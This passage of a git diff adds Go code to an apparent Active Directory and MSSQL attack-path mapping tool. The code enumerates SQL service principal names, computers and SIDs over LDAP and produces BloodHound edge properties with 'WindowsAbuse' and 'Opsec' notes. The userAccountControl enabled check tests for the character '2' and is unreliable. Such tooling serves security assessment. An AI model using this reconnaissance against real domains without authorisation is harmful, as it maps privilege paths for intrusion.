+ return c.domain, nil
+}
+
+// EnumerateMSSQLSPNs finds all MSSQL service principal names in the domain
+func (c *Client) EnumerateMSSQLSPNs() ([]types.SPN, error) {
+ if c.conn == nil {
+ if err := c.Connect(); err != nil {
+ return nil, err
+ }
+ }
+
+ // Search for accounts with MSSQLSvc SPNs
+ searchRequest := ldap.NewSearchRequest(
+ c.baseDN,
+ ldap.ScopeWholeSubtree,
+ ldap.NeverDerefAliases,
+ 0, 0, false,
+ "(servicePrincipalName=MSSQLSvc/*)",
+ []string{"servicePrincipalName", "sAMAccountName", "objectSid", "distinguishedName"},
+ nil,
+ )
+
+ // Use paging to handle large result sets
+ var spns []types.SPN
+ pagingControl := ldap.NewControlPaging(1000)
+ searchRequest.Controls = append(searchRequest.Controls, pagingControl)
+
+ for {
+ result, err := c.conn.Search(searchRequest)
+ if err != nil {
+ return nil, fmt.Errorf("LDAP search failed: %w", err)
+ }
+
+ for _, entry := range result.Entries {
+ accountName := entry.GetAttributeValue("sAMAccountName")
+ sidBytes := entry.GetRawAttributeValue("objectSid")
+ accountSID := decodeSID(sidBytes)
+
+ for _, spn := range entry.GetAttributeValues("servicePrincipalName") {
+ if !strings.HasPrefix(strings.ToUpper(spn), "MSSQLSVC/") {
+ continue
+ }
+
+ parsed := parseSPN(spn)
+ parsed.AccountName = accountName
+ parsed.AccountSID = accountSID
+
+ spns = append(spns, parsed)
+ }
+ }
+
+ // Check if there are more pages
+ pagingResult := ldap.FindControl(result.Controls, ldap.ControlTypePaging)
+ if pagingResult == nil {
+ break
+ }
+ pagingCtrl := pagingResult.(*ldap.ControlPaging)
+ if len(pagingCtrl.Cookie) == 0 {
+ break
+ }
+ pagingControl.SetCookie(pagingCtrl.Cookie)
+ }
+
+ return spns, nil
+}
+
+// LookupMSSQLSPNsForHost finds MSSQL SPNs for a specific hostname
+func (c *Client) LookupMSSQLSPNsForHost(hostname string) ([]types.SPN, error) {
+ if c.conn == nil {
+ if err := c.Connect(); err != nil {
+ return nil, err
+ }
+ }
+
+ // Extract short hostname for matching
+ shortHost := hostname
+ if idx := strings.Index(hostname, "."); idx > 0 {
+ shortHost = hostname[:idx]
+ }
+
+ // Search for SPNs matching this hostname (MSSQLSvc/hostname or MSSQLSvc/hostname.domain)
+ // Use a wildcard search to catch both short and FQDN forms
+ filter := fmt.Sprintf("(|(servicePrincipalName=MSSQLSvc/%s*)(servicePrincipalName=MSSQLSvc/%s*))", shortHost, hostname)
+
+ searchRequest := ldap.NewSearchRequest(
+ c.baseDN,
+ ldap.ScopeWholeSubtree,
+ ldap.NeverDerefAliases,
+ 0, 0, false,
+ filter,
+ []string{"servicePrincipalName", "sAMAccountName", "objectSid", "distinguishedName"},
+ nil,
+ )
+
+ result, err := c.conn.Search(searchRequest)
+ if err != nil {
+ return nil, fmt.Errorf("LDAP search failed: %w", err)
+ }
+
+ var spns []types.SPN
+
+ for _, entry := range result.Entries {
+ accountName := entry.GetAttributeValue("sAMAccountName")
+ sidBytes := entry.GetRawAttributeValue("objectSid")
+ accountSID := decodeSID(sidBytes)
+
+ for _, spn := range entry.GetAttributeValues("servicePrincipalName") {
+ if !strings.HasPrefix(strings.ToUpper(spn), "MSSQLSVC/") {
+ continue
+ }
+
+ // Verify this SPN matches our target hostname
+ parsed := parseSPN(spn)
+ spnHost := strings.ToLower(parsed.Hostname)
+ targetHost := strings.ToLower(hostname)
+ targetShort := strings.ToLower(shortHost)
+
+ // Check if the SPN hostname matches our target
+ if spnHost == targetHost || spnHost == targetShort ||
+ strings.HasPrefix(spnHost, targetShort+".") {
+ parsed.AccountName = accountName
+ parsed.AccountSID = accountSID
+ spns = append(spns, parsed)
+ }
+ }
+ }
+
+ return spns, nil
+}
+
+// EnumerateAllComputers returns all computer objects in the domain
+func (c *Client) EnumerateAllComputers() ([]string, error) {
+ if c.conn == nil {
+ if err := c.Connect(); err != nil {
+ return nil, err
+ }
+ }
+
+ searchRequest := ldap.NewSearchRequest(
+ c.baseDN,
+ ldap.ScopeWholeSubtree,
+ ldap.NeverDerefAliases,
+ 0, 0, false,
+ "(&(objectCategory=computer)(objectClass=computer))",
+ []string{"dNSHostName", "name"},
+ nil,
+ )
+
+ // Use paging to handle large result sets (AD default limit is 1000)
+ var computers []string
+ pagingControl := ldap.NewControlPaging(1000)
+ searchRequest.Controls = append(searchRequest.Controls, pagingControl)
+
+ for {
+ result, err := c.conn.Search(searchRequest)
+ if err != nil {
+ return nil, fmt.Errorf("LDAP search failed: %w", err)
+ }
+
+ for _, entry := range result.Entries {
+ hostname := entry.GetAttributeValue("dNSHostName")
+ if hostname == "" {
+ hostname = entry.GetAttributeValue("name")
+ }
+ if hostname != "" {
+ computers = append(computers, hostname)
+ }
+ }
+
+ // Check if there are more pages
+ pagingResult := ldap.FindControl(result.Controls, ldap.ControlTypePaging)
+ if pagingResult == nil {
+ break
+ }
+ pagingCtrl := pagingResult.(*ldap.ControlPaging)
+ if len(pagingCtrl.Cookie) == 0 {
+ break
+ }
+ pagingControl.SetCookie(pagingCtrl.Cookie)
+ }
+
+ return computers, nil
+}
+
+// ResolveSID resolves a SID to a domain principal
+func (c *Client) ResolveSID(sid string) (*types.DomainPrincipal, error) {
+ // Check cache first
+ if cached, ok := c.sidCache[sid]; ok {
+ return cached, nil
+ }
+
+ if c.conn == nil {
+ if err := c.Connect(); err != nil {
+ return nil, err
+ }
+ }
+
+ // Convert SID string to binary for LDAP search
+ sidFilter := fmt.Sprintf("(objectSid=%s)", escapeSIDForLDAP(sid))
+
+ searchRequest := ldap.NewSearchRequest(
+ c.baseDN,
+ ldap.ScopeWholeSubtree,
+ ldap.NeverDerefAliases,
+ 1, 0, false,
+ sidFilter,
+ []string{"sAMAccountName", "distinguishedName", "objectClass", "userAccountControl", "memberOf", "dNSHostName", "userPrincipalName"},
+ nil,
+ )
+
+ result, err := c.conn.Search(searchRequest)
+ if err != nil {
+ return nil, fmt.Errorf("LDAP search failed: %w", err)
+ }
+
+ if len(result.Entries) == 0 {
+ return nil, fmt.Errorf("SID not found: %s", sid)
+ }
+
+ entry := result.Entries[0]
+
+ principal := &types.DomainPrincipal{
+ SID: sid,
+ SAMAccountName: entry.GetAttributeValue("sAMAccountName"),
+ DistinguishedName: entry.GetAttributeValue("distinguishedName"),
+ Domain: c.domain,
+ MemberOf: entry.GetAttributeValues("memberOf"),
+ }
+
+ // Determine object class
+ classes := entry.GetAttributeValues("objectClass")
+ for _, class := range classes {
+ switch strings.ToLower(class) {
+ case "user":
+ principal.ObjectClass = "user"
+ case "group":
+ principal.ObjectClass = "group"
+ case "computer":
+ principal.ObjectClass = "computer"
+ }
+ }
+
+ // Determine if enabled (for users/computers)
+ uac := entry.GetAttributeValue("userAccountControl")
+ if uac != "" {
+ // UAC flag 0x0002 = ACCOUNTDISABLE
+ principal.Enabled = !strings.Contains(uac, "2")
+ }
+
+ // Store raw LDAP attributes for AD enrichment on nodes
+ dnsHostName := entry.GetAttributeValue("dNSHostName")
+ userPrincipalName := entry.GetAttributeValue("userPrincipalName")
+ principal.DNSHostName = dnsHostName
+ principal.UserPrincipalName = userPrincipalName
+
+ // Set the Name based on object class to match PowerShell behavior:
+ // - For computers: use DNSHostName (FQDN) if available, otherwise SAMAccountName
+ // - For users: use userPrincipalName if available, otherwise DOMAIN\SAMAccountName
+ // - For groups: use DOMAIN\SAMAccountName
+ switch principal.ObjectClass {
+ case "computer":
+ if dnsHostName != "" {
+ principal.Name = dnsHostName
+ } else {
+ principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName)
+ }
+ case "user":
+ if userPrincipalName != "" {
+ principal.Name = userPrincipalName
+ } else {
+ principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName)
+ }
+ default:
+ principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName)
+ }
+ principal.ObjectIdentifier = sid
+
+ // Cache the result
+ c.sidCache[sid] = principal
+
+ return principal, nil
+}
+
+// ResolveName resolves a name (DOMAIN\user or user@domain) to a domain principal
+func (c *Client) ResolveName(name string) (*types.DomainPrincipal, error) {
+ if c.conn == nil {
+ if err := c.Connect(); err != nil {
+ return nil, err
+ }
+ }
+
+ var samAccountName string
+
+ // Parse the name format
+ if strings.Contains(name, "\\") {
+ parts := strings.SplitN(name, "\\", 2)
+ samAccountName = parts[1]
+ } else if strings.Contains(name, "@") {
+ parts := strings.SplitN(name, "@", 2)
+ samAccountName = parts[0]
+ } else {
+ samAccountName = name
+ }
+
+ searchRequest := ldap.NewSearchRequest(
+ c.baseDN,
+ ldap.ScopeWholeSubtree,
+ ldap.NeverDerefAliases,
+ 1, 0, false,
+ fmt.Sprintf("(sAMAccountName=%s)", ldap.EscapeFilter(samAccountName)),
+ []string{"sAMAccountName", "distinguishedName", "objectClass", "objectSid", "userAccountControl", "memberOf", "dNSHostName", "userPrincipalName"},
+ nil,
+ )
+
+ result, err := c.conn.Search(searchRequest)
+ if err != nil {
+ return nil, fmt.Errorf("LDAP search failed: %w", err)
+ }
+
+ if len(result.Entries) == 0 {
+ return nil, fmt.Errorf("name not found: %s", name)
+ }
+
+ entry := result.Entries[0]
+ sidBytes := entry.GetRawAttributeValue("objectSid")
+ sid := decodeSID(sidBytes)
+
+ principal := &types.DomainPrincipal{
+ SID: sid,
+ SAMAccountName: entry.GetAttributeValue("sAMAccountName"),
+ DistinguishedName: entry.GetAttributeValue("distinguishedName"),
+ Domain: c.domain,
+ MemberOf: entry.GetAttributeValues("memberOf"),
+ ObjectIdentifier: sid,
+ }
+
+ // Determine object class
+ classes := entry.GetAttributeValues("objectClass")
+ for _, class := range classes {
+ switch strings.ToLower(class) {
+ case "user":
+ principal.ObjectClass = "user"
+ case "group":
+ principal.ObjectClass = "group"
+ case "computer":
+ principal.ObjectClass = "computer"
+ }
+ }
+
+ // Store raw LDAP attributes for AD enrichment on nodes
+ dnsHostName := entry.GetAttributeValue("dNSHostName")
+ userPrincipalName := entry.GetAttributeValue("userPrincipalName")
+ principal.DNSHostName = dnsHostName
+ principal.UserPrincipalName = userPrincipalName
+
+ // Set the Name based on object class to match PowerShell behavior
+ switch principal.ObjectClass {
+ case "computer":
+ if dnsHostName != "" {
+ principal.Name = dnsHostName
+ } else {
+ principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName)
+ }
+ case "user":
+ if userPrincipalName != "" {
+ principal.Name = userPrincipalName
+ } else {
+ principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName)
+ }
+ default:
+ principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName)
+ }
+
+ // Cache by SID
+ c.sidCache[sid] = principal
+
+ return principal, nil
+}
+
+// ValidateDomain checks if a domain is reachable and valid
+func (c *Client) ValidateDomain(domain string) bool {
+ // Check cache
+ if valid, ok := c.domainCache[domain]; ok {
+ return valid
+ }
+
+ ctx := context.Background()
+
+ // Try to resolve the domain
+ addrs, err := c.resolver.LookupHost(ctx, domain)
+ if err != nil {
+ c.domainCache[domain] = false
+ return false
+ }
+
+ // Check if the IP is private (RFC 1918) unless skipped
+ if !c.skipPrivateCheck {
+ for _, addr := range addrs {
+ ip := net.ParseIP(addr)
+ if ip != nil && isPrivateIP(ip) {
+ c.domainCache[domain] = true
+ return true
+ }
+ }
+ // No private IPs found
+ c.domainCache[domain] = false
+ return false
+ }
+
+ c.domainCache[domain] = len(addrs) > 0
+ return len(addrs) > 0
+}
+
+// ResolveComputerSID resolves a computer name to its SID
+// The computer name can be provided with or without the trailing $
+func (c *Client) ResolveComputerSID(computerName string) (string, error) {
+ if c.conn == nil {
+ if err := c.Connect(); err != nil {
+ return "", err
+ }
+ }
+
+ // Ensure computer name ends with $ for the sAMAccountName search
+ samName := computerName
+ if !strings.HasSuffix(samName, "$") {
+ samName = samName + "$"
+ }
+
+ // Check cache
+ if cached, ok := c.sidCache[samName]; ok {
+ return cached.SID, nil
+ }
+
+ searchRequest := ldap.NewSearchRequest(
+ c.baseDN,
+ ldap.ScopeWholeSubtree,
+ ldap.NeverDerefAliases,
+ 1, 0, false,
+ fmt.Sprintf("(&(objectClass=computer)(sAMAccountName=%s))", ldap.EscapeFilter(samName)),
+ []string{"sAMAccountName", "objectSid"},
+ nil,
+ )
+
+ result, err := c.conn.Search(searchRequest)
+ if err != nil {
+ return "", fmt.Errorf("LDAP search failed: %w", err)
+ }
+
+ if len(result.Entries) == 0 {
+ return "", fmt.Errorf("computer not found: %s", computerName)
+ }
+
+ entry := result.Entries[0]
+ sidBytes := entry.GetRawAttributeValue("objectSid")
+ sid := decodeSID(sidBytes)
+
+ if sid == "" {
+ return "", fmt.Errorf("could not decode SID for computer: %s", computerName)
+ }
+
+ // Cache the result
+ c.sidCache[samName] = &types.DomainPrincipal{
+ SID: sid,
+ SAMAccountName: entry.GetAttributeValue("sAMAccountName"),
+ ObjectClass: "computer",
+ }
+
+ return sid, nil
+}
+
+// Helper functions
+
+// domainToDN converts a domain name to an LDAP distinguished name
+func domainToDN(domain string) string {
+ parts := strings.Split(domain, ".")
+ var dnParts []string
+ for _, part := range parts {
+ dnParts = append(dnParts, fmt.Sprintf("DC=%s", part))
+ }
+ return strings.Join(dnParts, ",")
+}
+
+// parseSPN parses an SPN string into its components
+func parseSPN(spn string) types.SPN {
+ result := types.SPN{FullSPN: spn}
+
+ // Format: service/host:port or service/host
+ parts := strings.SplitN(spn, "/", 2)
+ if len(parts) < 2 {
+ return result
+ }
+
+ result.ServiceClass = parts[0]
+ hostPart := parts[1]
+
+ // Check for port or instance name
+ if idx := strings.Index(hostPart, ":"); idx != -1 {
+ result.Hostname = hostPart[:idx]
+ portOrInstance := hostPart[idx+1:]
+
+ // If it's a number, it's a port; otherwise instance name
+ if _, err := fmt.Sscanf(portOrInstance, "%d", new(int)); err == nil {
+ result.Port = portOrInstance
+ } else {
+ result.InstanceName = portOrInstance
+ }
+ } else {
+ result.Hostname = hostPart
+ }
+
+ return result
+}
+
+// decodeSID converts a binary SID to a string representation
+func decodeSID(b []byte) string {
+ if len(b) < 8 {
+ return ""
+ }
+
+ revision := b[0]
+ subAuthCount := int(b[1])
+
+ // Build authority (6 bytes, big-endian)
+ var authority uint64
+ for i := 2; i < 8; i++ {
+ authority = (authority << 8) | uint64(b[i])
+ }
+
+ // Build SID string
+ sid := fmt.Sprintf("S-%d-%d", revision, authority)
+
+ // Add sub-authorities (4 bytes each, little-endian)
+ for i := 0; i < subAuthCount && 8+i*4+4 <= len(b); i++ {
+ subAuth := uint32(b[8+i*4]) |
+ uint32(b[8+i*4+1])<<8 |
+ uint32(b[8+i*4+2])<<16 |
+ uint32(b[8+i*4+3])<<24
+ sid += fmt.Sprintf("-%d", subAuth)
+ }
+
+ return sid
+}
+
+// escapeSIDForLDAP escapes a SID string for use in an LDAP filter
+// This converts a SID like S-1-5-21-xxx to its binary escaped form
+func escapeSIDForLDAP(sid string) string {
+ // For now, use a simpler approach - search by string
+ // In production, you'd want to convert the SID to binary and escape it
+ return ldap.EscapeFilter(sid)
+}
+
+// isPrivateIP checks if an IP address is in a private range (RFC 1918)
+func isPrivateIP(ip net.IP) bool {
+ if ip4 := ip.To4(); ip4 != nil {
+ // 10.0.0.0/8
+ if ip4[0] == 10 {
+ return true
+ }
+ // 172.16.0.0/12
+ if ip4[0] == 172 && ip4[1] >= 16 && ip4[1] <= 31 {
+ return true
+ }
+ // 192.168.0.0/16
+ if ip4[0] == 192 && ip4[1] == 168 {
+ return true
+ }
+ }
+ return false
+}
diff --git a/go/internal/ad/gssapi_nonwindows.go b/go/internal/ad/gssapi_nonwindows.go
new file mode 100644
index 0000000..ed5e7b9
--- /dev/null
+++ b/go/internal/ad/gssapi_nonwindows.go
@@ -0,0 +1,14 @@
+//go:build !windows
+// +build !windows
+
+package ad
+
+import (
+ "fmt"
+
+ "github.com/go-ldap/ldap/v3"
+)
+
+func newGSSAPIClient(domain, user, password string) (ldap.GSSAPIClient, func() error, error) {
+ return nil, nil, fmt.Errorf("GSSAPI/Kerberos SSPI is only supported on Windows")
+}
diff --git a/go/internal/ad/gssapi_windows.go b/go/internal/ad/gssapi_windows.go
new file mode 100644
index 0000000..3c844c4
--- /dev/null
+++ b/go/internal/ad/gssapi_windows.go
@@ -0,0 +1,58 @@
+//go:build windows
+// +build windows
+
+package ad
+
+import (
+ "fmt"
+ "strings"
+
+ "github.com/go-ldap/ldap/v3"
+ "github.com/go-ldap/ldap/v3/gssapi"
+)
+
+func newGSSAPIClient(domain, user, password string) (ldap.GSSAPIClient, func() error, error) {
+ if user != "" && password != "" {
+ // Try multiple credential forms to satisfy SSPI requirements.
+ if strings.Contains(user, "@") {
+ parts := strings.SplitN(user, "@", 2)
+ upnDomain := parts[1]
+ upnUser := parts[0]
+
+ // First try DOMAIN + username (common for SSPI).
+ if client, err := gssapi.NewSSPIClientWithUserCredentials(upnDomain, upnUser, password); err == nil {
+ return client, client.Close, nil
+ }
+
+ // Fallback: pass full UPN as username with empty domain.
+ if client, err := gssapi.NewSSPIClientWithUserCredentials("", user, password); err == nil {
+ return client, client.Close, nil
+ }
+ } else {
+ userDomain, username := splitDomainUser(user, domain)
+ if client, err := gssapi.NewSSPIClientWithUserCredentials(userDomain, username, password); err == nil {
+ return client, client.Close, nil
+ }
+ }
+
+ return nil, nil, fmt.Errorf("failed to acquire SSPI credentials for provided user")
+ }
+
+ client, err := gssapi.NewSSPIClient()
+ if err != nil {
+ return nil, nil, err
+ }
+ return client, client.Close, nil
+}
+
+func splitDomainUser(user, fallbackDomain string) (string, string) {
+ if strings.Contains(user, "\\") {
+ parts := strings.SplitN(user, "\\", 2)
+ return parts[0], parts[1]
+ }
+ if strings.Contains(user, "@") {
+ // For UPN formats, pass the full UPN as the username and leave domain empty.
+ return "", user
+ }
+ return fallbackDomain, user
+}
diff --git a/go/internal/ad/sid_nonwindows.go b/go/internal/ad/sid_nonwindows.go
new file mode 100644
index 0000000..8ee2dcc
--- /dev/null
+++ b/go/internal/ad/sid_nonwindows.go
@@ -0,0 +1,24 @@
+//go:build !windows
+// +build !windows
+
+package ad
+
+import "fmt"
+
+// ResolveComputerSIDWindows resolves a computer's SID using Windows APIs
+// On non-Windows platforms, this returns an error since Windows APIs aren't available
+func ResolveComputerSIDWindows(computerName, domain string) (string, error) {
+ return "", fmt.Errorf("Windows API SID resolution not available on this platform")
+}
+
+// ResolveComputerSIDByDomainSID constructs the computer's SID by looking up its RID
+// On non-Windows platforms, this returns an error
+func ResolveComputerSIDByDomainSID(computerName, domainSID, domain string) (string, error) {
+ return "", fmt.Errorf("Windows API SID resolution not available on this platform")
+}
+
+// ResolveAccountSIDWindows resolves any account name to a SID using Windows APIs
+// On non-Windows platforms, this returns an error since Windows APIs aren't available
+func ResolveAccountSIDWindows(accountName string) (string, error) {
+ return "", fmt.Errorf("Windows API SID resolution not available on this platform")
+}
diff --git a/go/internal/ad/sid_windows.go b/go/internal/ad/sid_windows.go
new file mode 100644
index 0000000..4cfd636
--- /dev/null
+++ b/go/internal/ad/sid_windows.go
@@ -0,0 +1,144 @@
+//go:build windows
+// +build windows
+
+package ad
+
+import (
+ "fmt"
+ "strings"
+ "syscall"
+ "unsafe"
+)
+
+var (
+ modNetapi32 = syscall.NewLazyDLL("netapi32.dll")
+ modAdvapi32 = syscall.NewLazyDLL("advapi32.dll")
+ procNetUserGetInfo = modNetapi32.NewProc("NetUserGetInfo")
+ procNetApiBufferFree = modNetapi32.NewProc("NetApiBufferFree")
+ procDsGetDcNameW = modNetapi32.NewProc("DsGetDcNameW")
+ procLookupAccountNameW = modAdvapi32.NewProc("LookupAccountNameW")
+ procConvertSidToStringSidW = modAdvapi32.NewProc("ConvertSidToStringSidW")
+ procLocalFree = syscall.NewLazyDLL("kernel32.dll").NewProc("LocalFree")
+)
+
+// ResolveComputerSIDWindows resolves a computer's SID using Windows APIs
+// This is more reliable than LDAP GSSAPI on Windows
+func ResolveComputerSIDWindows(computerName, domain string) (string, error) {
+ // Format the computer name with $ suffix for the account
+ accountName := computerName
+ if !strings.HasSuffix(accountName, "$") {
+ accountName = accountName + "$"
+ }
+
+ // If it's an FQDN, strip the domain part
+ if strings.Contains(accountName, ".") {
+ parts := strings.SplitN(accountName, ".", 2)
+ accountName = parts[0]
+ if !strings.HasSuffix(accountName, "$") {
+ accountName = accountName + "$"
+ }
+ }
+
+ // Try with domain prefix
+ if domain != "" {
+ fullName := domain + "\\" + accountName
+ sid, err := lookupAccountSID(fullName)
+ if err == nil && sid != "" {
+ return sid, nil
+ }
+ }
+
+ // Try just the account name
+ sid, err := lookupAccountSID(accountName)
+ if err == nil && sid != "" {
+ return sid, nil
+ }
+
+ return "", fmt.Errorf("could not resolve SID for computer %s: %v", computerName, err)
+}
+
+// lookupAccountSID uses LookupAccountNameW to get the SID for an account
+func lookupAccountSID(accountName string) (string, error) {
+ accountNamePtr, err := syscall.UTF16PtrFromString(accountName)
+ if err != nil {
+ return "", err
+ }
+
+ // First call to get buffer sizes
+ var sidSize, domainSize uint32
+ var sidUse uint32
+
+ ret, _, _ := procLookupAccountNameW.Call(
+ 0, // lpSystemName - NULL for local
+ uintptr(unsafe.Pointer(accountNamePtr)),
+ 0, // Sid - NULL to get size
+ uintptr(unsafe.Pointer(&sidSize)),
+ 0, // ReferencedDomainName - NULL to get size
+ uintptr(unsafe.Pointer(&domainSize)),
+ uintptr(unsafe.Pointer(&sidUse)),
+ )
+
+ if sidSize == 0 {
+ return "", fmt.Errorf("LookupAccountNameW failed to get buffer size")
+ }
+
+ // Allocate buffers
+ sid := make([]byte, sidSize)
+ domain := make([]uint16, domainSize)
+
+ // Second call to get actual data
+ ret, _, err = procLookupAccountNameW.Call(
+ 0,
+ uintptr(unsafe.Pointer(accountNamePtr)),
+ uintptr(unsafe.Pointer(&sid[0])),
+ uintptr(unsafe.Pointer(&sidSize)),
+ uintptr(unsafe.Pointer(&domain[0])),
+ uintptr(unsafe.Pointer(&domainSize)),
+ uintptr(unsafe.Pointer(&sidUse)),
+ )
+
+ if ret == 0 {
+ return "", fmt.Errorf("LookupAccountNameW failed: %v", err)
+ }
+
+ // Convert SID to string
+ return convertSIDToString(sid)
+}
+
+// convertSIDToString converts a binary SID to string format
+func convertSIDToString(sid []byte) (string, error) {
+ var stringSidPtr *uint16
+
+ ret, _, err := procConvertSidToStringSidW.Call(
+ uintptr(unsafe.Pointer(&sid[0])),
+ uintptr(unsafe.Pointer(&stringSidPtr)),
+ )
+
+ if ret == 0 {
+ return "", fmt.Errorf("ConvertSidToStringSidW failed: %v", err)
+ }
+
+ defer procLocalFree.Call(uintptr(unsafe.Pointer(stringSidPtr)))
+
+ // Convert UTF16 to string
+ sidString := syscall.UTF16ToString((*[256]uint16)(unsafe.Pointer(stringSidPtr))[:])
+ return sidString, nil
+}
+
+// ResolveComputerSIDByDomainSID constructs the computer's SID by looking up its RID
+// This tries to find the computer account and return its full SID
+func ResolveComputerSIDByDomainSID(computerName, domainSID, domain string) (string, error) {
+ // First try the direct Windows API method
+ sid, err := ResolveComputerSIDWindows(computerName, domain)
+ if err == nil && sid != "" && strings.HasPrefix(sid, domainSID) {
+ return sid, nil
+ }
+
+ return "", fmt.Errorf("could not resolve computer SID using Windows APIs")
+}
+
+// ResolveAccountSIDWindows resolves any account name to a SID using Windows APIs
+// This works for users, groups, and computers
+func ResolveAccountSIDWindows(accountName string) (string, error) {
+ return lookupAccountSID(accountName)
+}
diff --git a/go/internal/bloodhound/edges.go b/go/internal/bloodhound/edges.go
new file mode 100644
index 0000000..96359bd
--- /dev/null
+++ b/go/internal/bloodhound/edges.go
@@ -0,0 +1,738 @@
+// Package bloodhound provides BloodHound OpenGraph JSON output generation.
+// This file contains edge property generators that match the PowerShell version.
+package bloodhound
+
+// EdgeProperties contains the documentation and metadata for an edge
+type EdgeProperties struct {
+ Traversable bool `json:"traversable"`
+ General string `json:"general"`
+ WindowsAbuse string `json:"windowsAbuse"`
+ LinuxAbuse string `json:"linuxAbuse"`
+ Opsec string `json:"opsec"`
+ References string `json:"references"`
+}
+
+// EdgeContext provides context for generating edge properties
+type EdgeContext struct {
+ SourceName string
+ SourceType string
+ TargetName string
+ TargetType string
+ SQLServerName string
+ DatabaseName string
+ Permission string
+ IsFixedRole bool
+}
+
+// GetEdgeProperties returns the properties for a given edge kind
+func GetEdgeProperties(kind string, ctx *EdgeContext) map[string]interface{} {
+ props := make(map[string]interface{})
+
+ generator, ok := edgePropertyGenerators[kind]
+ if !ok {
+ // Default properties for unknown edge types
+ props["traversable"] = true
+ props["general"] = "Relationship exists between source and target."
+ return props
+ }
+
+ edgeProps := generator(ctx)
+ props["traversable"] = edgeProps.Traversable
+ props["general"] = edgeProps.General
+ props["windowsAbuse"] = edgeProps.WindowsAbuse
+ props["linuxAbuse"] = edgeProps.LinuxAbuse
+ props["opsec"] = edgeProps.Opsec
+ props["references"] = edgeProps.References
+
+ return props
+}
+
+// IsTraversableEdge returns whether an edge type is traversable based on its
+// property generator definition. This matches the PowerShell EdgePropertyGenerators
+// traversable values.
+func IsTraversableEdge(kind string) bool {
+ // Check against known non-traversable edge types (matching PowerShell EdgePropertyGenerators)
+ switch kind {
+ case EdgeKinds.Alter,
+ EdgeKinds.Control,
+ EdgeKinds.Impersonate,
+ EdgeKinds.AlterAnyLogin,
+ EdgeKinds.AlterAnyServerRole,
+ EdgeKinds.AlterAnyAppRole,
+ EdgeKinds.AlterAnyDBRole,
+ EdgeKinds.Connect,
+ EdgeKinds.ConnectAnyDatabase,
+ EdgeKinds.TakeOwnership,
+ EdgeKinds.HasDBScopedCred,
+ EdgeKinds.HasMappedCred,
+ EdgeKinds.HasProxyCred,
+ EdgeKinds.AlterDB,
+ EdgeKinds.AlterDBRole,
+ EdgeKinds.AlterServerRole,
+ EdgeKinds.ImpersonateDBUser,
+ EdgeKinds.ImpersonateLogin,
+ EdgeKinds.LinkedTo,
+ EdgeKinds.IsTrustedBy,
+ EdgeKinds.ServiceAccountFor:
+ return false
+ default:
+ return true
+ }
+}
+
+// edgePropertyGenerators maps edge kinds to their property generators
+var edgePropertyGenerators = map[string]func(*EdgeContext) EdgeProperties{
+
+ EdgeKinds.MemberOf: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " is a member of the " + ctx.TargetType + ". This membership grants all permissions associated with the target role to the source principal.",
+ WindowsAbuse: "When connected to the server/database as " + ctx.SourceName + ", you have all permissions granted to the " + ctx.TargetName + " role.",
+ LinuxAbuse: "When connected to the server/database as " + ctx.SourceName + ", you have all permissions granted to the " + ctx.TargetName + " role.",
+ Opsec: `Role membership is a static relationship. Actions performed using role permissions are logged based on the specific operation, not the role membership itself.
+To view current role memberships at server level:
+ SELECT r.name AS RoleName, m.name AS MemberName
+ FROM sys.server_role_members rm
+ JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id
+ JOIN sys.server_principals m ON rm.member_principal_id = m.principal_id
+ ORDER BY r.name, m.name;
+To view current role memberships at database level:
+ SELECT r.name AS RoleName, m.name AS MemberName
+ FROM sys.database_role_members rm
+ JOIN sys.database_principals r ON rm.role_principal_id = r.principal_id
+ JOIN sys.database_principals m ON rm.member_principal_id = m.principal_id
+ ORDER BY r.name, m.name;`,
+ References: `- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles
+- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/database-level-roles
+- https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-server-role-members-transact-sql
+- https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-role-members-transact-sql`,
+ }
+ },
+
+ EdgeKinds.IsMappedTo: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " is mapped to this " + ctx.TargetType + " in the " + ctx.DatabaseName + " database. When connected as the login, the user automatically has database access.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and switch to the " + ctx.DatabaseName + " database to act as the database user.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and switch to the " + ctx.DatabaseName + " database to act as the database user.",
+ Opsec: "Login to database user mappings are standard SQL Server behavior. Switching databases is normal activity.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/create-a-database-user",
+ }
+ },
+
+ EdgeKinds.Contains: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " contains the " + ctx.TargetType + ".",
+ WindowsAbuse: "This is a containment relationship showing hierarchy.",
+ LinuxAbuse: "This is a containment relationship showing hierarchy.",
+ Opsec: "N/A - this is an informational edge showing object hierarchy.",
+ References: "",
+ }
+ },
+
+ EdgeKinds.Owns: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " owns the " + ctx.TargetType + ". Ownership provides full control over the object, including the ability to grant permissions, change properties, and in most cases, impersonate or control access.",
+ WindowsAbuse: "As the owner of " + ctx.TargetName + ", connect to " + ctx.SQLServerName + " and exercise full control over the owned object.",
+ LinuxAbuse: "As the owner of " + ctx.TargetName + ", connect to " + ctx.SQLServerName + " and exercise full control over the owned object.",
+ Opsec: "Ownership changes are logged in SQL Server. Actions taken as owner are logged based on the specific operation.",
+ References: `- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/ownership-and-user-schema-separation-in-sql-server`,
+ }
+ },
+
+ EdgeKinds.ControlServer: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
